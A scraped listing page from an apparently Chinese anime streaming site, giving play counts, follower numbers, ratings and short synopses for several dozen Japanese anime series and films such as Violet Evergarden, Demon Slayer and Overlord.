+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2627.3 万 + + + 追番人数 127.3 万 + + + 硬币数 18.0 万 + + + 弹幕总数 89.6 万 + + + 评分 9.8 + + +
+

简介:作品的舞台是一家咖啡店,在这家店中,以天真烂漫的少女·心爱为中心,讲述了角色们愉快的日常生活。在作品当中登场的妹子们包括酷酷的智乃、有着军人气质的理世、充满和风的千夜、看起来是大小姐实际却非常贫穷的纱...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 1055.1 万 + + + 追番人数 130.2 万 + + + 硬币数 2.5 万 + + + 弹幕总数 9.5 万 + + + 评分 9 + + +
+

简介:大阪的地标日卖电视台突发爆炸事件! +那时,里面正在录制“皋月杯”百人一首和歌赛记者会,而突发事件让全场陷入恐慌! +轰然倒塌的大楼里,唯有西部名侦探服部平次和他的青梅竹马远山和叶被困其中,但在千钧一...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 7567.2 万 + + + 追番人数 297.9 万 + + + 硬币数 153.1 万 + + + 弹幕总数 176.3 万 + + + 评分 9.9 + + +
+

简介:“今天一定要捉弄高木同学,让她害羞!” +某所初中里,邻座女生高木同学总是捉弄男生西片。 +西片为了反过来戏弄高木同学,每天都在奋斗着…… +高木同学和西片的全力“捉弄”青春之战就此开始。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 629.6 万 + + + 追番人数 41.9 万 + + + 硬币数 2.7 万 + + + 弹幕总数 16.8 万 + + + 评分 9.6 + + +
+

简介:该作围绕着元气大胃王小田切双叶、如天使般的恶魔委员长叶山照,以及家道中落的前名人西川叶子,这三位名字中有“叶”构成的女生,描绘了她们可爱而愉快的日常模样。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3775.8 万 + + + 追番人数 183.4 万 + + + 硬币数 23.7 万 + + + 弹幕总数 34.8 万 + + + 评分 9.8 + + +
+

简介:一位少女与恶魔“邪神酱”展开的略危险的同居生活喜剧! +魔界的恶魔,通称“邪神酱”某天突然被召唤到了人间界。召唤她的人是住在神保町破旧公寓的略有些腹黑的女大学生“花园百合铃”。虽然召唤了邪神酱,却不知道...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 5887.4 万 + + + 追番人数 206.3 万 + + + 硬币数 18.6 万 + + + 弹幕总数 55.3 万 + + + 评分 9.5 + + +
+

简介:一位少女与恶魔“邪神酱”展开的略危险的同居生活喜剧! +魔界的恶魔,通称“邪神酱”某天突然被召唤到了人间界。召唤她的人是住在神保町破旧公寓的略有些腹黑的女大学生“花园百合铃”。虽然召唤了邪神酱,却不知道...

+
+
+ + +
+
+
+
+ +
+ + + + 全14话0 + + + + + 番剧 日本 + + + + 总播放 1.9 亿 + + + 追番人数 860.7 万 + + + 硬币数 236.9 万 + + + 弹幕总数 354.8 万 + + + 评分 9.8 + + +
+

简介:某个大陆的、某个时代。 +大陆南北分割的战争结束了,世界走向了和平。 +在战争中作为军人的薇尔莉特•伊芙加登,怀抱着对她来说无比重要之人留下的“话语”,离开军队来到了大港口城市。 +踊跃的人群在排列着煤气灯...

+
+
+ + +
+
+
+
+ +
+ + + + 全26话0 + + + + + 番剧 日本 + + + + 总播放 2446.9 万 + + + 追番人数 232.4 万 + + + 硬币数 7.2 万 + + + 弹幕总数 37.2 万 + + + 评分 9.7 + + +
+

简介:  在小孩子之间,流传着一个传说,在深夜零时正,心怀怨恨的人就能够进入一个名为“地狱通信”的网页。在网页上打上怨恨之人的名字,名为阎魔爱的“地狱少女”就会显现于心怀怨恨者的身旁。地狱少女其后会交给对方...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 1531.1 万 + + + 追番人数 494.3 万 + + + 硬币数 9.2 万 + + + 弹幕总数 12.3 万 + + + 评分 9.5 + + +
+

简介:如果是为了你的话,我可以成为任何东西——。

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3636.1 万 + + + 追番人数 381.1 万 + + + 硬币数 38.4 万 + + + 弹幕总数 41.8 万 + + + 评分 9.7 + + +
+

简介:御宅族高中生“安艺伦也”,某天在樱花飞舞的坂道上遇见了,不起眼的普通少女兼同班同学“加藤惠”。 +想要以惠为主要女主角制作Galgame的伦也,邀请了金发青梅竹马“泽村·斯宾塞·英梨梨”担当原画,年级第...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 550.6 万 + + + 追番人数 30.3 万 + + + 硬币数 3692 + + + 弹幕总数 6.8 万 + + + 评分 7.4 + + +
+

简介:背景是一所蛋糕学园,从小就想成为著名法式糕点师的女主终于考上了自己梦寐以求的学院“Fleurir”,然而在这个造梦的地方,女主遇见了如梦幻中的王子一般的讲师。在丰富多彩的校园生活中,她与讲师发生了一段...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 96.8 万 + + + 追番人数 27.3 万 + + + 硬币数 1.1 万 + + + 弹幕总数 1.6 万 + + + 评分 9.5 + + +
+

简介:沒談過戀愛的女高中生小青為了擺脫煩人的官能小說家老爸,拚命地努力唸書想考上外地的國立大學。看似光明的未來卻因為被班上的現充人氣男孩木嶋告白產生了變化…… +不單純的戀愛故事、女高中生對大人事情的妄想沒有...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2644.7 万 + + + 追番人数 208.4 万 + + + 硬币数 13.4 万 + + + 弹幕总数 158.2 万 + + + 评分 9.7 + + +
+

简介:【本片翻译由澄空学园x华盟字幕社联合提供】为了上学方便,刚入学的高中新生心爱准备搬来这条由石板路、木制房组成的街道。她在寻找寄宿的地点时迷路了,无意中来到了一家名为“rabbit house”的咖啡店...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 858.6 万 + + + 追番人数 47.4 万 + + + 硬币数 5.0 万 + + + 弹幕总数 11.7 万 + + + 评分 9.7 + + +
+

简介:漫画单行本第11卷(最终卷)限定版同捆OAD。 +《四月是你的谎言》是由日本漫画家新川直司作画的漫画。曾获得讲谈社漫画赏少年部门奖。故事讲述了拥有少见才能的中学男生(钢琴家),和女生(小提琴家)共同努力...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 3163.5 万 + + + 追番人数 208.9 万 + + + 硬币数 37.1 万 + + + 弹幕总数 66.6 万 + + + 评分 9.8 + + +
+

简介:不知“爱”为何物,不懂得与人恋爱心情的小糸侑,在接到要好的男生告白后,因回复他而陷入迷茫。 +“要不要加入学生会?”在犹豫加入哪个社团的小糸侑,在听到了老师的建议后,稍有兴趣的她拿着地图前往了学生会室,...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 127.3 万 + + + 追番人数 116.9 万 + + + 硬币数 1.9 万 + + + 弹幕总数 3.2 万 + + + 评分 9.7 + + +
+

简介:【本片翻译由4yours字幕组提供】本作接续第二季结尾内容。Aqours 在最后一次以浦之星女学院学园偶像身份参加的“LoveLive!”中成功拿下冠军。 但在为转入新学校做准备的1年级、2年级学生面...

+
+
+ + +
+
+
+
+ +
+ + + + 全10话0 + + + + + 番剧 日本 + + + + 总播放 115.1 万 + + + 追番人数 33.5 万 + + + 硬币数 7405 + + + 弹幕总数 2.6 万 + + + 评分 9.8 + + +
+

简介:由於意外事故而在異世界轉生,熱愛遊戲的家裏蹲·佐藤和真, +與“在如同RPG遊戲壹樣的異世界,享受憧憬的冒險者生活!目標勇者!” +這樣的夢想失之交臂,但也總算是有模有樣地開始在異世界生活。 +作為轉生的特...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 2938.8 万 + + + 追番人数 519.3 万 + + + 硬币数 102.4 万 + + + 弹幕总数 128.4 万 + + + 评分 9.8 + + +
+

简介:居住在天空与海洋辉映的城镇“藤泽”的梓川咲太,就读高中二年级。 +他与既是学姐又是恋人的樱岛麻衣所度过的令人雀跃的日常,随着初恋对象牧之原翔子的出现而改变。 +不知为何,存在着“中学生”和“大人”两个翔子...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 4009.5 万 + + + 追番人数 135.4 万 + + + 硬币数 7.1 万 + + + 弹幕总数 41.2 万 + + + 评分 6.1 + + +
+

简介:2043年7月15日,带有能根据玩家的不同而千差万别,不,已进化到有“无限”可能的独立系统“胚胎“的VRMMO游戏<Infinite Dendrogram>发售。<Infinite Dendrogra...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 2.4 亿 + + + 追番人数 809.0 万 + + + 硬币数 246.5 万 + + + 弹幕总数 428.5 万 + + + 评分 9.8 + + +
+

简介:青春期症候群——这是一种只发生在易敏感和不稳定的青春期的、不可思议的现象。例如,在梓川咲太面前出现的野生兔女郎。 +她的真实身份是高中高年级学生,明星活动休止的女演员樱岛麻衣。她迷人的身姿,不知为何在周...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 381.4 万 + + + 追番人数 20.1 万 + + + 硬币数 9966 + + + 弹幕总数 2.0 万 + + + 评分 9.2 + + +
+

简介:“不会捡到‘这样的东西’……。” +虽然变身成魔法少女,却对于变身后的装束泳装无论如何都没法习惯的柚华。 +究竟柚华接受魔法少女的那一天会不会到来呢!?...

+
+
+ + +
+
+
+
+ +
+ + + + 全2话0 + + + + + 番剧 日本 + + + + 总播放 1973.3 万 + + + 追番人数 67.2 万 + + + 硬币数 8.3 万 + + + 弹幕总数 19.5 万 + + + 评分 9.7 + + +
+

简介:思春期的少年少女中极少部分人会发作的特殊能力。 +驱使着无人知晓的能力,过着顺风顺水学园生活的乙坂有宇。 +突然出现在这样的他的面前的少女,友利奈绪。 +从与她相遇之日起,被揭露出来的特殊能力者的宿命。 +这...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.7 亿 + + + 追番人数 596.6 万 + + + 硬币数 98.2 万 + + + 弹幕总数 305.3 万 + + + 评分 9.7 + + +
+

简介:故事讲述了青梅竹马之间、学生会长与不良少女之间、前辈与后辈之间、同学之间等多种不同角色的恋爱群像剧。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.9 亿 + + + 追番人数 515.4 万 + + + 硬币数 48.8 万 + + + 弹幕总数 618.2 万 + + + 评分 9.3 + + +
+

简介:我的妹妹小埋16岁,完美的妹妹,完美的高中生,但在家里却是个超懒的干物妹。 +然而妹妹在家的一切她生活中的朋友并不知道,居住在同一栋楼的天然少女,以及无意间来到我家的冷酷少女,她们会发现小埋的真实面目吗...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 2.0 亿 + + + 追番人数 473.3 万 + + + 硬币数 56.4 万 + + + 弹幕总数 504.9 万 + + + 评分 9.8 + + +
+

简介:时为1987年,乔瑟夫·乔斯达与“柱之男”们之间的死战后过了50年……乔瑟夫为了为了帮助“被恶灵附身了”的外孙子·空条承太郎而来到了日本。原来那并不是恶灵而是幽波纹(替身)。替身突然出现的原因在于,从...

+
+
+ + +
+
+
+
+ +
+ + + + 全14话0 + + + + + 番剧 日本 + + + + 总播放 1.6 亿 + + + 追番人数 373.7 万 + + + 硬币数 54.9 万 + + + 弹幕总数 179.9 万 + + + 评分 6.1 + + +
+

简介:经常被同学欺凌的南云始,与同班同学一起被召唤到了异世界。与接连着发现了自己的那作弊般的能力的同班同学们相反的是,始却得到了炼成师这个平凡职业。即使在异世界也是最弱的他,被某个同班同学陷害后掉进了迷宫的...

+
+
+ + +
+
+
+
+ +
+ + + + 全15话0 + + + + + 番剧 日本 + + + + 总播放 1191.3 万 + + + 追番人数 51.8 万 + + + 硬币数 5.7 万 + + + 弹幕总数 17.5 万 + + + 评分 9.5 + + +
+

简介:在现代日本生活的“本须丽乃”,在决定就职于自己所心愿的图书馆的那天去世了。想去读更多的书,抱着这样的念想的她,意识到的时候,已经拥有了异世界幼女清醒的身体并恢复了意识。 +故事的舞台是由拥有魔法力量的贵...

+
+
+ + +
+
+
+
+ +
+ + + + 全39话0 + + + + + 番剧 日本 + + + + 总播放 5.3 亿 + + + 追番人数 512.1 万 + + + 硬币数 177.5 万 + + + 弹幕总数 464.9 万 + + + 评分 9.8 + + +
+

简介:住在意大利那不勒斯的青年乔鲁诺·乔巴纳,是继承了乔斯达家宿敌·DIO之血脉的儿子。 +幼年时遭受迫害而自暴自弃的他,由于拯救了一名黑帮男子,而学到了“相信他人”。不忘恩义、带着敬意对待自己的黑帮,让他...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2.5 亿 + + + 追番人数 742.6 万 + + + 硬币数 81.5 万 + + + 弹幕总数 456.7 万 + + + 评分 8.8 + + +
+

简介:——真正的实力,平等究竟是什么? +几乎百分之百实现升学、就业目标的全国首屈一指的名门校──高度育成高等学校。这间简直如同乐园般的学校,真面目却是唯有优秀者才能享受优待的实力至上主义学校!绫小路清隆被分...

+
+
+ + +
+
+
+
+ +
+ + + + 全14话0 + + + + + 番剧 日本 + + + + 总播放 3.5 亿 + + + 追番人数 821.9 万 + + + 硬币数 113.8 万 + + + 弹幕总数 580.8 万 + + + 评分 9.7 + + +
+

简介:在单身的辛苦OL小林身边突然出现的女仆装束的美少女托尔。 +长着角和尾巴的她的身姿正是所谓的龙娘。 +在醉酒的小林邀请下说要到家里去的托尔,鬼使神差地开始以小林家女仆的身份工作……!? +“女仆”+“龙”=...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.4 亿 + + + 追番人数 389.9 万 + + + 硬币数 33.2 万 + + + 弹幕总数 145.6 万 + + + 评分 9.8 + + +
+

简介:平凡的中学二年级少年影山茂夫,因其微弱的存在感与名字茂夫的谐音被周遭人称为龙套(モブ),但不起眼的他其实是强大的天生超能力者。历经每一次的成长,龙套开始认为自己的超能力是危险的存在,为了不让超能力失控...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 417.1 万 + + + 追番人数 24.5 万 + + + 硬币数 1.1 万 + + + 弹幕总数 2.8 万 + + + 评分 7.2 + + +
+

简介:随着AR技术的发展,一项技术被研发成功,其名为混合现实系统,简称MR系统。使用MR进行的校园虚拟战斗“Circlet Bout”作为一项运动在女高中生中流行开来。这项运动的人气甚至冲破了学园,热潮席卷...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 3866.6 万 + + + 追番人数 188.7 万 + + + 硬币数 16.5 万 + + + 弹幕总数 44.7 万 + + + 评分 9.3 + + +
+

简介:《实况主的逃脱游戏》,在游戏实况者之间成为话题的神秘免费游戏。通称,失踪游戏。据称,在即将通关之际就消失的玩家源源不断。 +失踪的游戏实况者们被人为地与外界隔离,集合到某座岛上。在那里,他们所接受的命令...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 8943.0 万 + + + 追番人数 656.1 万 + + + 硬币数 61.1 万 + + + 弹幕总数 182.6 万 + + + 评分 9.6 + + +
+

简介:在从便利商店回家的路上,突然被异世界召唤的少年菜月昴。在无法依靠任何东西的异世界,无力的少年手唯一的力量……那是“死去然后重新开始”的力量。为了守护最重要的人们,为了取回确实存在着又无可替代的时间,少...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.2 亿 + + + 追番人数 531.8 万 + + + 硬币数 52.4 万 + + + 弹幕总数 146.2 万 + + + 评分 9.2 + + +
+

简介:成为“怪异”们的智慧之神,每天都在解决着“怪异”们带来的麻烦的少女·岩永琴子,她一见钟情的对象·樱川九郎,是个让“怪异”都感到畏惧的男人!? +这样毫不普通的两人,迎战“怪异”们引发的神秘事件的[恋爱×...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 1.3 亿 + + + 追番人数 497.4 万 + + + 硬币数 109.8 万 + + + 弹幕总数 155.4 万 + + + 评分 9.8 + + +
+

简介:本片讲述利用能检测出人们杀意的装置以及利用思想粒子做出的“井”,来探知事件真相的科幻故事。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2.8 亿 + + + 追番人数 663.7 万 + + + 硬币数 113.8 万 + + + 弹幕总数 339.9 万 + + + 评分 9 + + +
+

简介:主角本条枫在好友白峰理沙推荐下开始游玩游戏“NewWorld Online”,创建了名为“梅普露”的角色。然而作为游戏初学者,梅普露选择了不受欢迎的大盾当武器,同时因为怕痛而把所有状态点加到防御力的极...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 9929.7 万 + + + 追番人数 354.3 万 + + + 硬币数 39.1 万 + + + 弹幕总数 199.9 万 + + + 评分 9.6 + + +
+

简介:天使学校的首席天使来到了地球! +……但是,住惯了地球的她,开始过起整天逃学打网游的自甘堕落生活。 +化身为怠惰的废柴天使,简称“废天使”的加百列,早就把让全部人类幸福的目标抛到九霄云外,并发誓要充分享...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1837.8 万 + + + 追番人数 138.7 万 + + + 硬币数 11.1 万 + + + 弹幕总数 22.0 万 + + + 评分 9.6 + + +
+

简介:贝尔哲布布是传说中在天界大战的时候恶魔之王撒旦的得意部下,曾经是炽天使在天界大战之后曾经肃清了过激派。但贝尔哲布布看上去就是一个喜欢软乎乎毛茸茸毛球的柔弱少女,身为代替撒旦统领魔界的主人却对异性没有什...

+
+
+ + +
+
+
+
+ +
+ + + + 全22话0 + + + + + 番剧 日本 + + + + 总播放 1.8 亿 + + + 追番人数 498.5 万 + + + 硬币数 103.1 万 + + + 弹幕总数 174.8 万 + + + 评分 9.5 + + +
+

简介:人理续存保障机构·迦勒底,对于仅凭魔术无法看见的世界,仅凭科学无法计算的世界进行观测,为了让已被证明会灭亡于2017年的人类史存续下去,日夜持续着活动。 +人类灭亡的原因,是在历史上数个地点突然出现的“...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1207.3 万 + + + 追番人数 54.9 万 + + + 硬币数 3.5 万 + + + 弹幕总数 12.7 万 + + + 评分 9.7 + + +
+

简介:打倒了敌人“汞合金”的九龙、盖茨等强敌,恢复了以往和平日常的“阵代高中”。但,这样的日子并未延续多久……。持续失态的“汞合金”开始正式向相良宗介等人发动袭击。世界各地的“秘银”基地遭到强袭!泰莎率领的...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 980.9 万 + + + 追番人数 50.2 万 + + + 硬币数 1.6 万 + + + 弹幕总数 6.7 万 + + + 评分 9.2 + + +
+

简介:平凡的少女叶波柚香,某天在回家的路上看见了一只神秘生物「米咚」,并被告知自己具有魔法少女的素质。柚香心中虽然有些犹豫,但还是决定接受腕轮,成为一名魔法少女。没想到变身的服装居然是泳装!?米咚更是不时对...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 1114.0 万 + + + 追番人数 53.7 万 + + + 硬币数 3.4 万 + + + 弹幕总数 48.0 万 + + + 评分 9.8 + + +
+

简介:真历71年、总人口的70%均居住在宇宙的时代,此时的世界并存著两大势力——由军事同盟发展而来的德尔西亚军事盟约连邦,与因贸易协定而扩大的环大西洋合众国(ARUS)。故事主角时缟晴人所在的中立小国吉奥尔...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2690.2 万 + + + 追番人数 183.0 万 + + + 硬币数 20.6 万 + + + 弹幕总数 66.4 万 + + + 评分 9.8 + + +
+

简介:电视动画《灰与幻想的格林姆迦尔》改编自日本轻小说家十文字青原作白井锐利插画的同名轻小说。 +我们为什么要这么做…? +哈尔希洛回过神来,才发现自己身处在黑暗当中,他完全不知道自己人在何处,也不明白这个地方...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 1764.8 万 + + + 追番人数 83.4 万 + + + 硬币数 9.8 万 + + + 弹幕总数 65.7 万 + + + 评分 9.4 + + +
+

简介:【本片翻译由澄空&amp;华盟字幕组提供】《约会大作战:万由里裁决》是根据橘公司原作的轻小说《约会大作战》改编而成的动画电影,由动画第2期的制作公司Production IMS制作,于2015年8月2...

+
+
+ + +
+
+
+
+ +
+ + + + 全10话0 + + + + + 番剧 日本 + + + + 总播放 32.0 万 + + + 追番人数 17.4 万 + + + 硬币数 920 + + + 弹幕总数 7193 + + + 评分 8.7 + + +
+

简介:【本片翻譯由動漫國字幕組&DHR動研字幕組提供】把盯上澪所拥有的先代魔王之力的佐基尔打倒之后,刃更等人似乎取回了一时的平稳。他和澪以及柚希她们一同准备体育祭,讴歌着慌张的日常生活,但某一天,他们突然遭...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1756.1 万 + + + 追番人数 141.0 万 + + + 硬币数 7.6 万 + + + 弹幕总数 26.4 万 + + + 评分 9.8 + + +
+

简介:存在于分为13个自治区的王国中的,巨大统一组织“ACCA”。 +由于过去的政变危机而结成的ACCA,已持续守护了国民的和平百年之久。 +ACCA本部监察课副课长吉恩·奥塔斯,是个有着“蹭烟的吉恩”这一绰号...

+
+
+ + +
+
+
+
+
+ revisions +
+
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1241.8 万 + + + 追番人数 75.9 万 + + + 硬币数 3.0 万 + + + 弹幕总数 11.6 万 + + + 评分 8.8 + + +
+

简介:“这是预言。一个巨大的危机,将会降临到你们五人的身上。到那时候能保护他们的只有你了。” +小时候曾经历过被人诱拐的高中二年级生堂岛大介,与儿时玩伴的凯、露、爱铃爱铃、庆作一起,被卷入了不可思议的现象“涉...

+
+
+ + +
+
+
+
+
+ Charlotte +
+
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 1.9 亿 + + + 追番人数 564.6 万 + + + 硬币数 104.2 万 + + + 弹幕总数 262.5 万 + + + 评分 9.5 + + +
+

简介:思春期的少年少女中极少部分人会发作的特殊能力。 +驱使着无人知晓的能力,过着顺风顺水学园生活的乙坂有宇。 +突然出现在这样的他的面前的少女,友利奈绪。 +从与她相遇的那一天起,被揭露出特殊能力者的宿命。 +这...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 3657.0 万 + + + 追番人数 89.4 万 + + + 硬币数 6.8 万 + + + 弹幕总数 72.0 万 + + + 评分 9.3 + + +
+

简介:《重装武器》(ヘヴィーオブジェクト)是镰池和马继轻小说《魔法禁书目录》后的又一作品,讲述的是少年库温瑟与好友贺维亚,两人与使用超大型兵器“重装武器”的少女相遇,一起战斗的故事。 +小说于2009年10月...

+
+
+ + +
+
+
+
+ +
+ + + + 全25话0 + + + + + 番剧 日本 + + + + 总播放 2.1 亿 + + + 追番人数 402.6 万 + + + 硬币数 127.2 万 + + + 弹幕总数 836.5 万 + + + 评分 9.7 + + +
+

简介:2022年,人类实现了现实世界和假想空间的融合,电子制造商开发了名为《刀剑神域(Sword Art Online)》的在线电子游戏。SAO甫一面世便大受好评,限量一万份的名额在发售当天的短时间内便被抢...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 8876.3 万 + + + 追番人数 356.2 万 + + + 硬币数 47.5 万 + + + 弹幕总数 116.3 万 + + + 评分 9.7 + + +
+

简介:肉食兽和草食兽共存的世界。在食肉被视为重罪的情况下 ,全寄宿制的名门高中·却里顿学园发生了学生被吞噬的“食杀事件”。 +在充斥着不安的校园里,戏剧部的怪人·灰狼雷格西过着与其“庞大身躯”和“锐利尖牙”相...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 1497.8 万 + + + 追番人数 81.6 万 + + + 硬币数 11.2 万 + + + 弹幕总数 23.9 万 + + + 评分 9.8 + + +
+

简介:PSV游戏「果然在游戏里我的青春恋爱物语也有问题。续」2016年10月27日发售,限定版将同捆新作OVA,讲述原作10.5卷中以一色彩羽为中心的故事。...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 1371.1 万 + + + 追番人数 78.5 万 + + + 硬币数 7.5 万 + + + 弹幕总数 17.2 万 + + + 评分 9.7 + + +
+

简介:『やはりゲームでも俺の青春ラブコメはまちがっている。』MAGES.开发PlayStation Vita用游戏软件,预定2013年9月19日发售。同时附赠TV未放送的限量OVA版。...

+
+
+ + +
+
+
+
+
+ COP CRAFT +
+
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 2781.5 万 + + + 追番人数 146.8 万 + + + 硬币数 11.4 万 + + + 弹幕总数 29.9 万 + + + 评分 9.1 + + +
+

简介:十五年前,太平洋上出现了一个未知的超空间大门。在门的对面,是妖精和魔物居住的奇妙异世界“莱特·塞玛尼”。 +“圣特雷萨市”是有着超过200万的来自两个世界的移民居住的都市。那里有着多样的民族和多彩的文化...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2375.3 万 + + + 追番人数 139.4 万 + + + 硬币数 6.3 万 + + + 弹幕总数 52.7 万 + + + 评分 8.3 + + +
+

简介:Hand Shakers—— +将手牵起,利用从深层心理诞生的武器“宁录”互相战斗的人们。 +为了实现自己的“愿望”,从而见到神,将神打破,众多的Hand Shakers以那个顶点为目标,互相竞争。 +存在...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 442.6 万 + + + 追番人数 57.2 万 + + + 硬币数 4.6 万 + + + 弹幕总数 7.6 万 + + + 评分 9.8 + + +
+

简介:时间回到嘉祥担任店长的猫娘蛋糕店『La Soleil』开张的半年前, +还是小猫的巧克力跟香草刚来到水无月家,还没跟其他猫娘们打成一片的时候。 +开始用「主人」称呼嘉祥,并且在水无月家度过第一个圣诞节的两...

+
+
+ + +
+
+
+
+ +
+ + + + 全26话0 + + + + + 番剧 日本 + + + + 总播放 9.8 亿 + + + 追番人数 1258.2 万 + + + 硬币数 414.2 万 + + + 弹幕总数 1039.1 万 + + + 评分 9.7 + + +
+

简介:大正时期,日本。心地善良的卖炭少年·炭治郎,有一天他的家人被鬼杀死了。而唯一幸存下来的妹妹——祢豆子变成了鬼。被绝望的现实打垮的炭治郎,为了寻找让妹妹变回人类的方法,决心朝着“鬼杀队”的道路前进。 +人...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 4.4 亿 + + + 追番人数 571.3 万 + + + 硬币数 137.1 万 + + + 弹幕总数 411.3 万 + + + 评分 9.4 + + +
+

简介:时间为2138年。曾卷起一大风潮的虚拟现实体感型网络游戏《YGGDRASIL》即将迎来停服。玩家飞鼠在曾经以同伴和荣华自傲的根据地纳萨力克地下大坟墓,独自一人安静等待着那一刻。 +但是,不料发生了“过了...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3068.5 万 + + + 追番人数 137.4 万 + + + 硬币数 7.7 万 + + + 弹幕总数 50.0 万 + + + 评分 8.4 + + +
+

简介:——虽然很突然,但世界已经灭亡了。 +1000年前一度毁灭的地球,由名为“Y”的传说中的时钟技师以时钟装置再构筑而成的世界。 +吊车尾高中生·见浦直人,与“Y”所留下的自动人偶琉珠,以及天才时钟技师少女·...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 5094.0 万 + + + 追番人数 160.7 万 + + + 硬币数 10.2 万 + + + 弹幕总数 106.3 万 + + + 评分 8.1 + + +
+

简介:在“超高校级的绝望”带来的“人类史上最大最恶的绝望事件”之下,世界陷入了濒临崩坏的绝境。为了拯救这个充满绝望的世界,“未来机关”结成了。打倒了江之岛盾子的苗木诚等78期生,加入了未来机关。他们在此继续...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6354.8 万 + + + 追番人数 152.7 万 + + + 硬币数 13.2 万 + + + 弹幕总数 104.9 万 + + + 评分 8.4 + + +
+

简介:召集了各个分野上的超一流的高中生,为培育他们成长而设立的政府公认特权学园「私立希望之峰学园」。在这个学园,存在着云集了超高校级的才能的"本科",与只要支付了高额学费就谁都能够入学的"预备学科"两个学科...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 655.1 万 + + + 追番人数 53.3 万 + + + 硬币数 2.1 万 + + + 弹幕总数 7.4 万 + + + 评分 9.6 + + +
+

简介:学园推理游戏《弹丸论破》系列最新作《新弹丸论破V3》于2017年1月12日登陆PSV/PS4平台。另外,在游戏限定版“超高校级的限定BOX”中同捆了原创动画《超级弹丸论破2.5:狛枝凪斗与世界的破坏者...

+
+
+ + +
+
+
+
+
+ NEW GAME! +
+
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3248.9 万 + + + 追番人数 169.4 万 + + + 硬币数 14.5 万 + + + 弹幕总数 94.2 万 + + + 评分 9.7 + + +
+

